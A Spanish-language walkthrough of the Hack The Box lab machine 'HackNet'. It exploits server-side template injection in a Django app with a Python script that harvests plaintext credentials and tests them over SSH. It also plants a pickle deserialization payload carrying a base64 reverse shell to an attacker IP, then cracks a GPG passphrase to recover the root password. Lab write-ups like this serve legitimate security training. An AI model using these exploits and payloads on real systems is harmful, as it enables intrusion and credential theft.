Descripción
HackNet es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inyección de plantilla del lado del servidor en aplicación web Python Django
- Obtenidas las credenciales desde SSTI conlleva la reutilización de la contraseña en usuario de Linux
- El usuario pivota al usuario que ejecuta el servidor web Django mediante la deserialización de caché
- Escalada de privilegios a través del descifrado de una copia de seguridad de un volcado SQL cifrado con GPG
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.208.8.
$ ping -c 3 10.129.208.8
PING 10.129.208.8 (10.129.208.8) 56(84) bytes of data.
64 bytes from 10.129.208.8: icmp_seq=1 ttl=63 time=49.6 ms
64 bytes from 10.129.208.8: icmp_seq=2 ttl=63 time=53.6 ms
64 bytes from 10.129.208.8: icmp_seq=3 ttl=63 time=52.7 ms
--- 10.129.208.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 49.563/51.940/53.607/1.725 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.208.8 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.208.8
Host is up (0.050s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.12 seconds
Conseguimos dos puertos abiertos, 22 y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.208.8 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.208.8
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_ 256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://hacknet.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.17 seconds
Tenemos dos servicios: uno de Secure Shell (SSH) y otro de Hipertexto Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Agregamos la dirección hacknet.htb al archivo /etc/hosts.
$ echo '10.129.208.8 hacknet.htb' | sudo tee -a /etc/hosts
Al abrir el servicio web, encontramos HackNet, una red social completa para hackers en la que podemos iniciar sesión y crear un cuenta. Después de iniciar sesión tenemos una vista en nuestro perfil y podemos crear un nuevo post. Al revisar el código fuente HTML, encontramos el token CSRF csrfmiddlewaretoken. Este nombre corresponde al marco de programación Python Django.
Si hacemos clic en el botón Explore, podemos ver las diferentes publicaciones subidas por los usuarios registrados en la plataforma. Podemos buscar una palabra clave, como el contenido de la publicación, y ver las likes que ha recibido la publicación (haciendo clic en la palabra likes). También podemos crear un comentario a la publicación.

Explotación
Cuando se muestra la lista de usuarios que han “me gusta” una publicación, sus perfiles de avatar se muestran y si hacemos un desplazamiento sobre cada imagen, encontramos el nombre de usuario del usuario respectivo.
Después de revisar varios campos, descubrimos que el campo de nombre de usuario, que podemos modificar nosotros en la sección Edit Profile, está vulnerable a la inyección de plantillas del lado servidor (SSTI).
Podemos cambiar nuestro nombre de usuario a {{ csrf_token }}, igual que en la publicación, lo que hará que el valor se refleje en nuestro nombre de usuario cuando se muestra en la lista de usuarios que han hecho “me gusta”.
En este caso, el valor del token CSRF se refleja. Podemos utilizar esta vulnerabilidad para leer variables internas pasadas a la plantilla que renderiza los usuarios que han “me gusta” la publicación. En este caso, el código HTML se obtiene desde la siguiente endpoint: http://hacknet.htb/likes/10 ya que es la 10ª publicación. En el código HTML encontramos el valor reflejado en nuestro parámetro title del elemento <img>.
...<a href="/profile/27"><img src="/media/profile.png" title="WtdScLls9WIkoyiv650Qz9YAppHkYyt1eZHIsBimGeDkYdCYuyj6tpnvng8ciY1G"></a>...
Al cambiar el patrón de inyección del lado servidor de plantillas (SSTI) a {{ users }}, encontramos otro valor.
...<a href="/profile/27"><img src="/media/profile.png" title="<QuerySet [<SocialUser: hexhunter>, <SocialUser: shadowcaster>, <SocialUser: blackhat_wolf>, <SocialUser: glitch>, <SocialUser: codebreaker>, <SocialUser: shadowmancer>, <SocialUser: whitehat>, <SocialUser: brute_force>, <SocialUser: shadowwalker>, <SocialUser: {{ users }}>]>"></a>...
Encontramos un objeto QuerySet (una lista) con elementos de tipo SocialUser, que contiene los usuarios. Ahora vamos a seleccionar el primer elemento (hexhunter) o el número 0, utilizando el patrón {{ users.0 }}. Comenzando por verificar los campos email y password con las plantillas {{ users.0.email }} y {{ users.0.password }}.
...<a href="/profile/27"><img src="/media/profile.png" title="hexhunter@ciphermail.com "></a></div>...
...<a href="/profile/27"><img src="/media/profile.png" title="H3xHunt3r!"></a>...
Descubrimos que para el primer usuario en la lista QuerySet, hexhunter, su dirección de correo electrónico es hexhunter@ciphermail.com y su contraseña es H3xHunt3r!. Observamos que la contraseña no está cifrada ni hasheada. Luego, eliminamos el “me gusta”. Creamos un script de Python que itera todos los posts, le da “me gusta” y luego para cada usuario que ha “gustado” la publicación, extrae su dirección de correo electrónico y su contraseña. Finalmente, eliminamos el parte después del @ y comprobamos si el primer parte de la dirección de correo electrónico coincide con la contraseña utilizando el protocolo SSH. Si hay coincidencia, comprobamos si una sesión se ha iniciado a través de SSH.
Necesitamos cambiar la variable username a nuestro nombre de usuario original para restaurarlo después del ataque finalizado, y actualizar el diccionario de cookies globales (global_cookies) con la cookie que hemos asignado después del inicio de sesión. Luego, cambios la variable csrfs con el token CSRF que podemos obtener desde el código HTML de la página utilizada para cambiar los datos de perfil.
from bs4 import BeautifulSoup
import json
import paramiko
import requests
username = 'userhacker'
global_cookies = {
'csrftoken': 'sGE0q074Hs5aKPuDyDtq4qz581B2uAIP',
'sessionid': '6fw7uiglqijhvmcpo12ecu2gt4fflcn9'
}
endpoints = {
'change_profile': 'http://hacknet.htb/profile/edit',
'like_post': 'http://hacknet.htb/like/{post_id}',
'likes': 'http://hacknet.htb/likes/{post_id}'
}
csrfs = {
'change_profile': 'OOwJ5xPgDkTivav2HXj83jH2gTUw2RxX6k0zlnMaaCOi5PPv5qCoXz6XeKlomh5C'
}
ssti_template = '{{{{users.{user_id}.{field}}}}}'
emails = {}
passwords = {}
hostname_ssh = 'hacknet.htb'
port_ssh = 22
def set_profile_username(username):
# Content-Disposition fields
files = {
'csrfmiddlewaretoken': (None, csrfs['change_profile'], None),
'picture': (None, '', None),
'email': (None, '', None),
'username': (None, username, None),
'password': (None, '', None),
'about': (None, '', None),
'is_public': (None, 'on', None),
}
requests.post(endpoints['change_profile'], cookies=global_cookies, files=files)
def like_post(post_id):
requests.get(endpoints['like_post'].format(post_id=post_id), cookies=global_cookies)
def get_like_users(post_id):
res = requests.get(endpoints['likes'].format(post_id=post_id), cookies=global_cookies)
soup = BeautifulSoup(res.text, 'html.parser')
images = soup.find_all('img', {'title': True})
titles = [img['title'] for img in images]
return titles
def check_ssh_user(username, password):
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname_ssh, port=port_ssh, username=username, password=password, banner_timeout=0)
return True
except Exception as e:
return False
# set normal username
set_profile_username(username)
# iterate over all posts
for post_id in range(1, 30):
# get users
users = get_like_users(post_id)
# continue if users are retrieved
if len(users) > 0:
# like the post to be the last one
like_post(post_id)
# iterate over all the liked users to retrieve every email
for user_id in range(0, len(users)):
# check only uniques
if users[user_id] not in emails.keys():
ssti = ssti_template.format(user_id=str(user_id), field='email')
# set the username to the ssti
set_profile_username(ssti)
# get the likes to obtain the last one (with the email)
users_2 = get_like_users(post_id)
email = users_2[-1]
emails[users[user_id]] = email
# iterate over all the liked users to retrieve every password
for user_id in range(0, len(users)):
# check only uniques
if users[user_id] not in passwords.keys():
ssti = ssti_template.format(user_id=str(user_id), field='password')
# set the username to the ssti
set_profile_username(ssti)
# get the likes to obtain the last one (with the password)
users_2 = get_like_users(post_id)
password = users_2[-1]
passwords[users[user_id]] = password
# remove the like in the end
like_post(post_id)
# restore the username
set_profile_username(username)
# print the users
print(emails)
print(passwords)
print('Obtained emails/passwords. Checking SSH...')
for credential in emails.keys():
# ignore the content after the @ in the email
username = emails[credential].split('@')[0]
password = passwords[credential]
print('Checking SSH user: ' + username)
if check_ssh_user(username, password):
print('\tFound SSH user: ' + username + ' : ' + password)
After that we run the script, first the dictionary with the emails will be printed and then the dictionary with the passwords will be printed. Then the SSH brute-force attack is started.
$ python script.py
{'zero_day': 'zero_day@hushmail.com', 'blackhat_wolf': 'blackhat_wolf@cypherx.com', 'datadive': 'datadive@darkmail.net', 'codebreaker': 'codebreaker@ciphermail.com', 'netninja': 'netninja@hushmail.com', 'darkseeker': 'darkseeker@darkmail.net', 'trojanhorse': 'trojanhorse@securemail.org', 'exploit_wizard': 'exploit_wizard@hushmail.com', 'brute_force': 'brute_force@ciphermail.com', 'hexhunter': 'hexhunter@ciphermail.com', 'rootbreaker': 'rootbreaker@exploitmail.net', 'packetpirate': 'packetpirate@exploitmail.net', 'stealth_hawk': 'stealth_hawk@exploitmail.net', 'whitehat': 'whitehat@darkmail.net', 'virus_viper': 'virus_viper@securemail.org', 'cyberghost': 'cyberghost@darkmail.net', 'shadowcaster': 'shadowcaster@darkmail.net', 'bytebandit': 'bytebandit@exploitmail.net', 'shadowmancer': 'shadowmancer@cypherx.com', 'phreaker': 'phreaker@securemail.org', 'shadowwalker': 'shadowwalker@hushmail.com', 'cryptoraven': 'cryptoraven@securemail.org', 'glitch': 'glitch@cypherx.com', 'deepdive': 'deepdive@hacknet.htb', 'backdoor_bandit': 'mikey@hacknet.htb'}
{'zero_day': 'Zer0D@yH@ck', 'blackhat_wolf': 'Bl@ckW0lfH@ck', 'datadive': 'D@taD1v3r', 'codebreaker': 'C0d3Br3@k!', 'netninja': 'N3tN1nj@2024', 'darkseeker': 'D@rkSeek3r#', 'trojanhorse': 'Tr0j@nH0rse!', 'exploit_wizard': 'Expl01tW!zard', 'brute_force': 'BrUt3F0rc3#', 'hexhunter': 'H3xHunt3r!', 'rootbreaker': 'R00tBr3@ker#', 'packetpirate': 'P@ck3tP!rat3', 'stealth_hawk': 'St3@lthH@wk', 'whitehat': 'Wh!t3H@t2024', 'virus_viper': 'V!rusV!p3r2024', 'cyberghost': 'Gh0stH@cker2024', 'shadowcaster': 'Sh@d0wC@st!', 'bytebandit': 'Byt3B@nd!t123', 'shadowmancer': 'Sh@d0wM@ncer', 'phreaker': 'Phre@k3rH@ck', 'shadowwalker': 'Sh@dowW@lk2024', 'cryptoraven': 'CrYptoR@ven42', 'glitch': 'Gl1tchH@ckz', 'deepdive': 'D33pD!v3r', 'backdoor_bandit': 'mYd4rks1dEisH3re'}
Obtained emails/passwords. Checking SSH...
Checking SSH user: zero_day
Checking SSH user: blackhat_wolf
Checking SSH user: datadive
Checking SSH user: codebreaker
Checking SSH user: netninja
Checking SSH user: darkseeker
Checking SSH user: trojanhorse
Checking SSH user: exploit_wizard
Checking SSH user: brute_force
Checking SSH user: hexhunter
Checking SSH user: rootbreaker
Checking SSH user: packetpirate
Checking SSH user: stealth_hawk
Checking SSH user: whitehat
Checking SSH user: virus_viper
Checking SSH user: cyberghost
Checking SSH user: shadowcaster
Checking SSH user: bytebandit
Checking SSH user: shadowmancer
Checking SSH user: phreaker
Checking SSH user: shadowwalker
Checking SSH user: cryptoraven
Checking SSH user: glitch
Checking SSH user: deepdive
Checking SSH user: mikey
Found SSH user: mikey : mYd4rks1dEisH3re
Descubrimos un par de credenciales válidas: mikey y mYd4rks1dEisH3re. Iniciamos sesión utilizando el protocolo SSH.
$ ssh mikey@hacknet.htb
mikey@hacknet.htb's password:
...
mikey@hacknet:~$ id
uid=1000(mikey) gid=1000(mikey) groups=1000(mikey)
Post-Explotación
Descubrimos otro usuario de consola en el sistema con los credenciales: root y mikey, sandy.
mikey@hacknet:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
mikey:x:1000:1000:mikey,,,:/home/mikey:/bin/bash
sandy:x:1001:1001::/home/sandy:/bin/bash
Descubrimos que el usuario sandy está ejecutando el servicio gunicorn, que ejecuta la aplicación Python Django.
mikey@hacknet:~$ cat /etc/systemd/system/gunicorn.service
[Unit]
Description=gunicorn daemon
Requires=gunicorn.socket
After=network.target
[Service]
User=sandy
Group=www-data
WorkingDirectory=/var/www/HackNet
ExecStart=/home/sandy/.local/bin/gunicorn \
--access-logfile - \
--workers 3 \
--bind unix:/run/gunicorn.sock \
HackNet.wsgi:application
[Install]
WantedBy=multi-user.target
El directorio raíz de la aplicación se encuentra en el directorio /var/www/HackNet, que es editable por el usuario sandy.
mikey@hacknet:~$ ls -l /var/www/HackNet
total 24
drwxr-xr-x 2 sandy sandy 4096 Dec 29 2024 backups
-rw-r--r-- 1 sandy www-data 0 Aug 8 2024 db.sqlite3
drwxr-xr-x 3 sandy sandy 4096 Sep 8 05:20 HackNet
-rwxr-xr-x 1 sandy sandy 664 May 31 2024 manage.py
drwxr-xr-x 2 sandy sandy 4096 Aug 8 2024 media
drwxr-xr-x 6 sandy sandy 4096 Sep 8 05:22 SocialNetwork
drwxr-xr-x 3 sandy sandy 4096 May 31 2024 static
En la carpeta backups encontramos copias de seguridad cifradas con GPG del volcado SQL de la base de datos.
mikey@hacknet:~$ cd /var/www/HackNet
mikey@hacknet:/var/www/HackNet$ ls -l backups/
total 48
-rw-r--r-- 1 sandy sandy 13445 Dec 29 2024 backup01.sql.gpg
-rw-r--r-- 1 sandy sandy 13713 Dec 29 2024 backup02.sql.gpg
-rw-r--r-- 1 sandy sandy 13851 Dec 29 2024 backup03.sql.gpg
Descubrimos la configuración de la aplicación Django en el archivo settings.py de la aplicación HackNet.
mikey@hacknet:/var/www/HackNet$ cat HackNet/settings.py
from pathlib import Path
import os
...
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'hacknet',
'USER': 'sandy',
'PASSWORD': 'h@ckn3tDBpa$$',
'HOST':'localhost',
'PORT':'3306',
}
}
...
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
'TIMEOUT': 60,
'OPTIONS': {'MAX_ENTRIES': 1000},
}
}
...
Descubrimos dos cosas interesantes: las credenciales del motor de base de datos MySQL con el nombre de la base de datos hacknet, accedidas por el usuario sandy con la contraseña h@ckn3tDBpa$$. Ahora vamos a crear un volcado completo de la base de datos SQL utilizando el comando mysqldump.
mikey@hacknet:/var/www/HackNet$ mysqldump -h 127.0.0.1 -u sandy -p'h@ckn3tDBpa$$' hacknet > /tmp/sql_backup.sql
Después de la configuración del motor de base de datos MySQL en el archivo settings.py, encontramos que la opción CACHES está activada con el backend de caché FileBasedCache. El FileBasedCache en Django es un backend de caché que almacena los datos cacheados como archivos en el sistema de archivos. Es útil para despliegues simples donde no está disponible un backend de caché en memoria como Memcached o Redis. Los archivos cacheados se guardan en la carpeta /var/tmp/django_cache durante 60 segundos. Tenemos permisos para crear archivos dentro de esta carpeta.
mikey@hacknet:/var/www/HackNet$ ls -l /var/tmp/
total 8
drwxrwxrwx 2 sandy www-data 4096 django_cache
La carpeta está vacía, pero después de refrescar la página [http://hacknet.htb/explore](http://hacknet.htb/explore), se crean dos archivos en la carpeta /var/tmp/django_cache: 1f0acfe7480a469402f1852f8313db86.djcache y 90dbab8f3b1e54369abdeb4ba1efc106.djcache.
mikey@hacknet:/var/www/HackNet$ ls -1 /var/tmp/django_cache/
1f0acfe7480a469402f1852f8313db86.djcache
90dbab8f3b1e54369abdeb4ba1efc106.djcache
Los archivos .djcache son archivos serializados en Python con datos. Si podemos reemplazarlos con una versión maliciosa, podríamos obtener ejecución remota de comandos como el usuario que ejecuta el servidor web, sandy. Empezamos a escuchar un puerto TCP.
$ nc -nvlp 1234
Podemos utilizar el siguiente script de Python para crear los archivos serializados maliciosos.
import pickle
import os
class DjangoRCE:
def __reduce__(self):
return (os.system, ('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUwLzEyMzQgMD4mMQ== | base64 -d | bash',))
serialized = pickle.dumps(DjangoRCE())
file1 = open('/var/tmp/django_cache/1f0acfe7480a469402f1852f8313db86.djcache', 'wb')
file1.write(serialized)
file1.close()
file2 = open('/var/tmp/django_cache/90dbab8f3b1e54369abdeb4ba1efc106.djcache', 'wb')
file2.write(serialized)
file2.close()
Antes de crear los nuevos archivos, eliminamos los archivos .djcache existentes. En la función __reduce__, se implementa el código de ejecución remota con RCE (Remote Command Execution), en este caso, un código de terminal inversa en Base64. Corremos el script.
mikey@hacknet:/var/www/HackNet$ python3 /tmp/serialize.py
Después de refrescar la página Explore, recibimos la terminal inversa. La actualizamos para que esté lista para ejecutar comandos remotos como el usuario sandy.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.50] from (UNKNOWN) [10.129.208.8] 36798
bash: cannot set terminal process group (46058): Inappropriate ioctl for device
bash: no job control in this shell
sandy@hacknet:/var/www/HackNet$ id
id
uid=1001(sandy) gid=33(www-data) groups=33(www-data)
sandy@hacknet:/var/www/HackNet$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
sandy@hacknet:/var/www/HackNet$ ^Z
$ stty raw -echo; fg
reset xterm
sandy@hacknet:/var/www/HackNet$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Ahora, con la sesión como el usuario sandy, encontramos las claves privadas de GPG en la carpeta /home/sandy/.gnupg/.
sandy@hacknet:~$ find .gnupg/
.gnupg/
.gnupg/private-keys-v1.d
.gnupg/private-keys-v1.d/armored_key.asc
.gnupg/private-keys-v1.d/EF995B85C8B33B9FC53695B9A3B597B325562F4F.key
.gnupg/private-keys-v1.d/0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key
.gnupg/pubring.kbx~
.gnupg/trustdb.gpg
.gnupg/openpgp-revocs.d
.gnupg/openpgp-revocs.d/21395E17872E64F474BF80F1D72E5C1FA19C12F7.rev
.gnupg/random_seed
.gnupg/pubring.kbx
Intentamos descifrar el archivo de backup previo, pero la aplicación de GPG nos informa que la clave privada está protegida con una contraseña. Para extraer la clave privada del archivo /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc, necesitamos utilizar herramientas como gpg2john y John The Ripper para recuperar la contraseña.
sandy@hacknet:~$ cat /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQIGBGdxrxABBACuOrGzU2PoINX/6XsSWP9OZuFU67Bf6qhsjmQ5CcZ340oNlZfl
LsXqEywJtXhjWzAd5Juo0LJT7fBWpU9ECG+MNU7y2Lm0JjALHkIwq4wkGHJcb5AO
949lXlA6aC/+CuBm/vuLHtYrISON7LyUPAycmf8wKnE7nX9g4WY000k8ywARAQAB
/gcDAoUP+2418AWL/9s1vSnZ9ABrtqXgH1gmjZbbfm0WWh2G9DJ2pKYamGVVijtn
29HGsMJblg0pPNSQ0PVCJ3iPk2N6kwoYWrhrxtS/0yT9tPkItBaW9x2wGzkwzfvI
...
GT6u2xOpLeVbKqSpesJjucdGBKevANfMNcGinS9xUUdn7MDMI81P9oNSbFD+ZIBJ
BP2ItgQYAQoAIBYhBCE5XheHLmT0dL+A8dcuXB+hnBL3BQJnca8QAhsMAAoJENcu
XB+hnBL3YBgEAKsNo9aR7rfIaBdXAI1lFWsfBDuV28mTo8RgoE40rg+U4a2vPJAt
DZNUnvaugNdG2nNkX1b4U+fNJMR07GCAJIGVrQojqnSVCKYjI4Et7VtRIlOI7Bmr
UWLDskLCqTD33o4VOV3IITVkQc9KktjhI74C7kZrOr7v07yuegmtzLi+
=wR12
-----END PGP PRIVATE KEY BLOCK-----
Ejecutamos las herramientas:
$ gpg2john armored_key.asc > gpg_hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt gpg_hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetheart (Sandy)
1g 0:00:00:01 DONE 0.7352g/s 317.6p/s 317.6c/s 317.6C/s gandako..nicole1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Obtenemos la contraseña “sweetheart” para la clave privada de GPG. Utilizamos esta contraseña para descifrar los tres archivos de respaldo.
sandy@hacknet:~$ gpg --decrypt /var/www/HackNet/backups/backup01.sql.gpg > /tmp/backup01.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <sandy@hacknet.htb>"
sandy@hacknet:~$ gpg --decrypt /var/www/HackNet/backups/backup02.sql.gpg > /tmp/backup02.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <sandy@hacknet.htb>"
sandy@hacknet:~$ gpg --decrypt /var/www/HackNet/backups/backup03.sql.gpg > /tmp/backup03.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
"Sandy (My key for backups) <sandy@hacknet.htb>"
Ahora comparamos cada archivo de respaldo con el dump SQL que realizamos previamente utilizando el comando mysqldump. Encontramos información interesante en el archivo backup02.sql.
sandy@hacknet:~$ diff /tmp/sql_backup.sql /tmp/backup02.sql
1,2c1
...
> (47,'2024-12-29 20:29:36.987384','Hey, can you share the MySQL root password with me? I need to make some changes to the database.',1,22,18),
> (48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
> (49,'2024-12-29 20:30:14.430878','Just tweaking some schema settings for the new project. Won’t take long, I promise.',1,22,18),
> (50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
> (51,'2024-12-29 20:30:56.880458','Got it. Thanks a lot! I’ll let you know as soon as I’m finished.',1,22,18),
> (52,'2024-12-29 20:31:16.112930','Cool. If anything goes wrong, ping me immediately.',0,18,22);
452c446
< /*!40101 SET character_set_client = utf8mb4 */;
...
Descubrimos una conversación que incluye la contraseña del usuario root, h4ck3rs4re3veRywh3re99. Podemos iniciar sesión utilizando el protocolo SSH.
$ ssh root@hacknet.htb
root@hacknet.htb's password:
...
root@hacknet:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la consola de root, podemos recuperar las flags de user y root.
root@hacknet:~# cat /home/mikey/user.txt
<REDACTED>
root@hacknet:~# cat /root/root.txt
<REDACTED>